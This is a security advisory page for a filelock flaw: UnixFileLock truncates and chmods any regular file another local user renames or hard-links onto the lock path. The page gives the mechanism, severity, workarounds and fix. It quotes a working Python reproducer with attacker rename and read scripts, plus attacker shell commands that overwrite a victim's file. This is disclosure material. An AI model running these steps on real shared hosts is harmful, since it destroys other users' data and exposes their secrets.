CVE-2026-112909: filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path

Published Oct 20, 2026
·
Updated

UnixFileLock, the backend of FileLock and AsyncFileLock on Unix, empties whatever regular file it finds at the lock path once it holds the flock (a kernel lock on an open file). With an explicit mode it also chmods that file (sets its permission bits), whether or not this acquire created it. Another local user who can rename or hard-link one of the files of the user running the lock (below: the lock user) onto the lock path gets that file truncated by the lock user's next acquire(). A hard link is a second name for the same file. With a mode such as 0o666 the file, still owned by the lock user, also becomes readable and writable by that other user. The other user can then read and alter everything the lock user writes to it afterwards.

ONOFOLLOW, the defence added for the symlink variant (CVE-2025-68146), does not see a renamed file or a hard link. The rename route needs the file's directory to be writable without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The hard-link route into a sticky directory such as /tmp needs fs.protectedhardlinks=0, a Linux kernel setting. Affected versions are every filelock release up to and including 4.2.0 (the truncation is as old as the project; the chmod since 3.10.2).

Anthropic's OSS Scanner reported this in private. Finding covered by this advisory:

- ANT-2026-KO573NWI [high, CWE-706]: UnixFileLock truncates and chmods victim files renamed onto the lock path.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N scores 6.1 (Medium).

AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): one rename or link, then wait for the lock user's next acquire; no race. I:H (high integrity impact): the lock user's own process truncates a file it did not mean to touch, including content behind a second name the other user could neither modify nor delete. With a permissive explicit mode the other user can then write to it. If that file is one the lock user later executes or trusts, that is code execution as the lock user. C:L (partial confidentiality impact): the old content is gone before the other user can read anything, but what the lock user writes afterwards through a descriptor (the number the kernel gives a process for an open file) it still holds is readable. A:N (no availability impact). S:U (scope unchanged).

Classification from the review: security, conditional on another user controlling names in a non-sticky directory on the lock's filesystem (or on fs.protectedhardlinks=0). The scanner rated this high. The maintainers score it medium because the reachable targets depend on the directory layout and kernel settings described below.

Scope and preconditions

- Lock classes: FileLock and AsyncFileLock on Unix (UnixFileLock). SoftFileLock applies an explicit mode only to a file it created with OCREAT | OEXCL and does not truncate an existing file. WindowsFileLock has not truncated at any version. - The other user must put a regular file of the lock user at the lock path before the lock user's next acquire, while the lock file does not exist yet. That is the case on first use, after a reboot, after a /tmp cleaner, or after a release with the default preservelockfile=False, which unlinks the file. The scanner checked three ways at the scanned commit, with default kernel settings unless stated: - rename inside a directory without the sticky bit (a group-writable project or cache directory, a root-created 0777 directory); - rename from such a directory into a sticky one (1777) on the same filesystem. The sticky bit only protects entries that already exist, so the move succeeds while the lock path is free. Once the lock user's lock file exists there, the same move fails with EPERM; - link(2) into a sticky directory. This needs a system that lets a user hard-link a file it cannot write, which on Linux means fs.protectedhardlinks=0. Mainstream distributions set 1, which refuses the link. The scanner did not test macOS or the BSDs. - What the lock user loses: with the default FileLock(path) the lock truncates the file, which keeps its mode. With an explicit mode (a lock shared between users needs 0o666 or 0o660, because UnixFileLock opens the file read-write), the lock also chmods the file to that mode. applyexplicitmode suppresses PermissionError only for files the lock user does not own. The lock user owns its own files, so the fchmod succeeds. - Trust boundary: the protection against another local user holds only when no other user can rename entries in the lock's directory or, for the rename-into-sticky route, in any directory on the same filesystem that holds a file of the lock user. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. - Not affected: a symlink (a file that points at another path) at the lock path, because ONOFOLLOW makes the open fail with ELOOP; mutual exclusion between cooperating processes.

Affected code

Scanned commit b831496b0273: UnixFileLock.finalizelockedfd, whose os.ftruncate and applyexplicitmode calls have only the stnlink != 0 guard (the file still has at least one name); applyexplicitmode; openlockfile, which learns from its OEXCL create whether this attempt made the file but hands that flag only to the ENOSYS fallback.

Introduced

The truncation of whatever is at the lock path dates from the initial commit (2157efb, which opened with OTRUNC). The chmod of a pre-existing inode (the kernel's identity for a file, independent of its name) came with d7e1e84 "changed from os.umask to os.chmod" (#206, 2023-03-22), first tag 3.10.2 (verified with git tag --contains). Before it the code passed the mode only to open(), which applies it to a file this call creates. The advisory range is therefore every release up to 4.2.0. The earlier group range >= 3.10.0 understated it, as the review noted.

Mechanism

openlockfile first tries os.open(path, ORDWR | ONOFOLLOW | OCREAT | OEXCL, mode). With the lock user's file renamed to the lock path that fails with FileExistsError. The second os.open(path, ORDWR | ONOFOLLOW) succeeds, because the entry is a regular file the lock user owns, and returns created = False. acquirenative passes created only to the ENOSYS branch. No process holds a flock on the renamed file, so lockfdnonblocking(fd) succeeds at once and finalizelockedfd(fd) runs: os.fstat, stnlink != 0, os.ftruncate(fd, 0), then os.fchmod(fd, mode) when the lock has an explicit mode. Nothing in that path tells a lock file from any other regular file; a link count of 2 and a non-empty file both pass. ONOFOLLOW does not help because the entry is the file itself (or a hard link, an ordinary directory entry for the same inode), not a symlink to it. There is no race: the other user renames or links once and waits for the next acquire. AsyncUnixFileLock inherits finalizelockedfd unchanged.

The scanner measured three variants at the same commit, same accounts (victim uid 1000, attacker uid 1001). First, a rename within a 0777 directory: the next FileLock("jobs.lock", mode=0o666) of victim empties the 0600 journal of victim renamed to jobs.lock and sets it to 0666; attacker then reads what victim keeps writing through its open descriptor. Second, a rename of a two-name file (ln /tmp/cache/blob ~/env/blob, 0644) from a 0777 directory, fs.protectedhardlinks=1: after mv /tmp/cache/blob /tmp/cache/app.lock and FileLock("/tmp/cache/app.lock", mode=0o666) as victim, ~/env/blob has 2 links, mode 666, 0 bytes and echo pwned >> /home/victim/env/blob as attacker succeeds, in a directory attacker cannot write. Third, os.link(notes, lockpath) in a 1777 directory with fs.protectedhardlinks=0: notes.txt (0644, in the home of victim) ends up 0 bytes with mode 0666, and open(notes, "w") as attacker then succeeds. With plain FileLock(lockpath) a 0600 file ends up empty with its mode unchanged. The planted name stays after release, so every later acquire truncates the file again.

Reproduction

The scanner's reproducer for ANT-2026-KO573NWI, quoted as received. It ran against commit b831496b0273.

repro

python #!/usr/bin/env python3 import os import secrets import shutil import stat import subprocess import sys

set up: a directory every user may write, without the sticky bit shared = "/tmp/renamed-lock-file-demo" shutil.rmtree(shared, ignoreerrors=True) os.mkdir(shared) os.chmod(shared, 0o777) journal = f"{shared}/victim-journal.log" lockpath = f"{shared}/jobs.lock"

victim = subprocess.Popen( ["runuser", "-u", "victim", "--", sys.executable, "/tmp/repro.d/victimjobrunner.py", shared], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True, )

def victimruns(job): victim.stdin.write(job + "\n") victim.stdin.flush() assert victim.stdout.readline() == "done\n"

def asattacker(script, argument): command = ["runuser", "-u", "attacker", "--", sys.executable, f"/tmp/repro.d/{script}", argument] return subprocess.run(command, captureoutput=True, text=True, check=True).stdout

before the attack: one job leaves the lock file and a 0600 journal with one line in it victimruns("job 1") journalbefore = os.stat(journal) journalcontentbefore = open(journal).read() attackerreadbefore = asattacker("attackerreadfile.py", journal) print( f"CONTROL journal: inode {journalbefore.stino}, uid {journalbefore.stuid}, " f"mode {stat.SIMODE(journalbefore.stmode):o}, content {journalcontentbefore!r}" ) print(f"CONTROL attacker reads the journal: {attackerreadbefore!r}")

attack asattacker("attackerrenamejournal.py", shared)

the victim takes its lock again, then notes a secret in its journal through the descriptor it holds secret = secrets.tokenhex(8) victimruns(f"job 2 {secret}") victim.stdin.close() victim.wait()

check: the victim's private journal must not be emptied, widened to 0666, or readable by the attacker lockafter = os.stat(lockpath) lockcontentafter = open(lockpath).read() attackerreadafter = asattacker("attackerreadfile.py", lockpath) print( f"OBSERVED lock path: inode {lockafter.stino}, uid {lockafter.stuid}, " f"mode {stat.SIMODE(lockafter.stmode):o}, content {lockcontentafter!r}" ) print(f"OBSERVED attacker reads the lock path: {attackerreadafter!r}")

attackerwasdenied = attackerreadbefore == "permission denied\n" lockpathisthejournal = (lockafter.stdev, lockafter.stino) == (journalbefore.stdev, journalbefore.stino) journalwasemptied = "job 1" in journalcontentbefore and "job 1" not in lockcontentafter journalwaswidened = stat.SIMODE(journalbefore.stmode) == 0o600 and stat.SIMODE(lockafter.stmode) == 0o666 attackerreadsthesecret = secret in attackerreadafter bug = ( attackerwasdenied and lockpathisthejournal and journalwasemptied and journalwaswidened and attackerreadsthesecret ) print("BUG" if bug else "OK")

repro.d/attackerreadfile.py

python import sys

try: print(open(sys.argv[1]).read(), end="") except PermissionError: print("permission denied")

repro.d/attackerrenamejournal.py

python import os import sys

shareddirectory = sys.argv[1]

needs only write access to the directory: no sticky bit, so any user may rename any entry in it os.rename(f"{shareddirectory}/victim-journal.log", f"{shareddirectory}/jobs.lock")

repro.d/victimjobrunner.py

python import os import sys

from filelock import FileLock

shareddirectory = sys.argv[1]

journalfd = os.open(f"{shareddirectory}/victim-journal.log", os.OWRONLY | os.OCREAT | os.OAPPEND, 0o600) UnixFileLock opens the lock file ORDWR, so a lock that other users of the directory also take needs mode=0o666 lock = FileLock(f"{shareddirectory}/jobs.lock", mode=0o666, timeout=5)

for job in sys.stdin: with lock: os.write(journalfd, f"ran {job}".encode()) print("done", flush=True)

Attack sequence

mermaid sequenceDiagram participant A as other account participant D as shared directory (writable, not sticky) participant V as lock user: FileLock("jobs.lock", mode=0o666) participant K as kernel Note over V,D: victim-journal.log, owner victim, mode 0600 (the other account cannot read it) A->>D: mv victim-journal.log jobs.lock (one rename, no race) V->>K: open(jobs.lock, ORDWR|ONOFOLLOW|OCREAT|OEXCL) -> EEXIST V->>K: open(jobs.lock, ORDWR|ONOFOLLOW) -> fd (regular file, created=False) V->>K: flock(fd, LOCKEX|LOCKNB) -> ok (no holder) rect rgb(255, 214, 214) V->>K: fstat(fd), stnlink != 0 V->>K: ftruncate(fd, 0) V->>K: fchmod(fd, 0o666) Note over V,K: the journal's inode is now empty and world read-write, still owned by victim end V->>K: write("ran job 2 <secret>") through the journal descriptor it still holds A->>D: read jobs.lock -> "ran job 2 <secret>"

Evidence

The scanner reproducer (victim and attacker accounts, root-created 0777 directory without the sticky bit under /tmp, default sysctls, Linux 6.1, CPython 3.14.8, overlayfs; lock FileLock(path, mode=0o666, timeout=5)). It printed CONTROL journal: inode 296383, uid 1000, mode 600, content 'ran job 1\n' and CONTROL attacker reads the journal: 'permission denied\n'. After the rename and the second job of victim it printed OBSERVED lock path: inode 296383, uid 1000, mode 666, content 'ran job 2 f4bc9a4e04c3f556\n' and OBSERVED attacker reads the lock path: 'ran job 2 f4bc9a4e04c3f556\n', last line BUG. The verdict requires that the earlier read by attacker failed, that the lock path is the journal's inode, that the old line is gone, that the mode went from 0600 to 0666, and that the later read by attacker contains the secret. It runs in under a second with no race. The scanner ran the two-name and link(2) variants above by hand at the same commit (commands and results in its report), not through the script.

Maintainer triage: the reproducer prints BUG on the scanned commit b831496 and on the 4.2.0 release image. The independent review (soft-open) confirmed the mechanism and that the hard-link and two-name variants go through the same two calls.

Impact

The file's content is lost in every configuration, including for processes that hold the file open and under every other name the file has. With an explicit permissive mode, the other user can read and modify everything the lock user writes afterwards, while the file still belongs to the lock user. The other user can rename the file back to its old name after the acquire. It stays there with the lock's mode, and the lock user's next acquire creates a fresh lock file.

Somebody who may rename a single-name file may also unlink it, so losing such a file under its name is not new. What the lock adds are two operations on the inode that the other user cannot perform, ftruncate and fchmod, run with the lock user's privileges. Those matter for a descriptor the lock user still holds, for a second name of the file, and for programs that trust the file's ownership. The other user does not choose the mode, and the lock user writes no bytes the other user chose. Mutual exclusion is not affected.

Workarounds

- Keep the lock file in a directory no other account can write, or in a sticky directory on a filesystem where no directory holding the lock user's files is writable by others. On Linux keep fs.protectedhardlinks=1 (the default on mainstream distributions), which closes the hard-link route. - Do not pass a permissive explicit mode (0o666, 0o660, 0o644) unless accounts share the lock; without a mode the exposure is the truncation only. - Keep the lock file in place (preservelockfile=True). Once a lock file owned by the lock user exists in a sticky directory, another user cannot rename or link over it. - Where the lock does not need flock semantics, SoftFileLock applies its mode only to the marker it created with OEXCL and does not truncate an existing file.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/835

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

- 2026-10-15 23:08 UTC: report received (36 findings; this one rated high by the scanner) - 2026-10-16 00:46 UTC: draft advisory created (first as a group of four findings, then narrowed to ANT-2026-KO573NWI; the other three security findings have their own advisories) - 2026-10-16 01:16 UTC: fix PR #835 opened

Other sources

filelock is a platform-independent file lock for Python. Prior to 4.2.1, UnixFileLock can truncate a regular file renamed onto the lock path when another local user has actual rename permission, or hard-linked there under a permissive hard-link policy; when an explicit mode is requested, affected versions from 3.10.2 can also change that file's mode. This issue is fixed in version 4.2.1.

— Ubuntu

Affected Software

14 affected componentsFixes available
pypi/filelock<4.2.1
tox-dev Filelock Python<4.2.1
pip/filelock<=4.2.0
4.2.1
pip/filelock<4.2.1
4.2.1
ubuntu/python-filelock*
ubuntu/python-filelock*
ubuntu/python-filelock*
ubuntu/python-filelock*
ubuntu/python-filelock*
ubuntu/python-filelock*
debian/python-filelock*
debian/python-filelock*
debian/python-filelock<4.2.8-1
4.2.8-1
debian/python-filelock<=3.9.0-1+deb12u1, <=3.18.0-1+deb13u1
4.2.8-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/filelock to a version that resolves this vulnerability.

    Fixed in 4.2.1
  2. Upgrade

    Upgrade debian/python-filelock to a version that resolves this vulnerability.

    Fixed in 4.2.8-1
  3. Upgrade

    Upgrade filelock to a version that resolves this vulnerability.

    Fixed in 4.2.1
  4. Configuration

    Do not pass a permissive explicit mode such as 0o666, 0o660, or 0o644; omit the mode when accounts do not share the lock.

    UnixFileLock mode = unset
  5. Configuration

    Keep the lock file in a directory that no other account can write, or in a sticky directory on a filesystem where directories holding the lock user's files are not writable by others.

    Lock-file directory directory permissions/sticky bit = not writable by other accounts, or sticky (1777)
  6. Configuration

    Keep the lock file in place by setting preserve_lock_file=True.

    FileLock preserve_lock_file = True
  7. Configuration

    Keep fs.protected_hardlinks=1 to prevent unauthorized hard-linking of files into sticky directories.

    Linux kernel fs.protected_hardlinks = 1
  8. Configuration

    Where flock semantics are not needed, use SoftFileLock; it applies its mode only to a marker it created with O_CREAT | O_EXCL and does not truncate an existing file.

    filelock lock class = SoftFileLock

Event History

Oct 20, 2026
CVE Published
via Ubuntu·12:00 AM
Data Sourced
via Ubuntu·12:00 AM
RemedyDescriptionSeverityAffected Software
CVE Published
via MITRE·02:16 PM
Data Sourced
via MITRE·02:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Oct 28, 2026
Data Sourced
via OSV·08:16 PM
Affected Software
Advisory Published
via GitHub·09:08 PM
Data Sourced
via GitHub·09:08 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is realistically exposed to this issue?

Local multi-user environments are exposed when another user can rename a regular file onto the lock path. Systems with a permissive hard-link policy may also be exposed if another user can hard-link a file to that path.

2

What does an attacker need to exploit it?

The attacker needs local access and the ability to place a regular file at the lock path, either through actual rename permission or, under permissive hard-link policies, by creating a hard link. No user interaction is required.

3

What is the impact if exploitation succeeds?

Affected UnixFileLock versions can truncate the file placed on the lock path. Versions affected from 3.10.2 can also change that file's mode when the application requests an explicit mode.

4

Which versions should be remediated?

Upgrade filelock to version 4.2.1, which fixes the issue. The truncation issue affects versions before 4.2.1; the mode-change behavior applies to affected versions starting with 3.10.2 when an explicit mode is requested.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203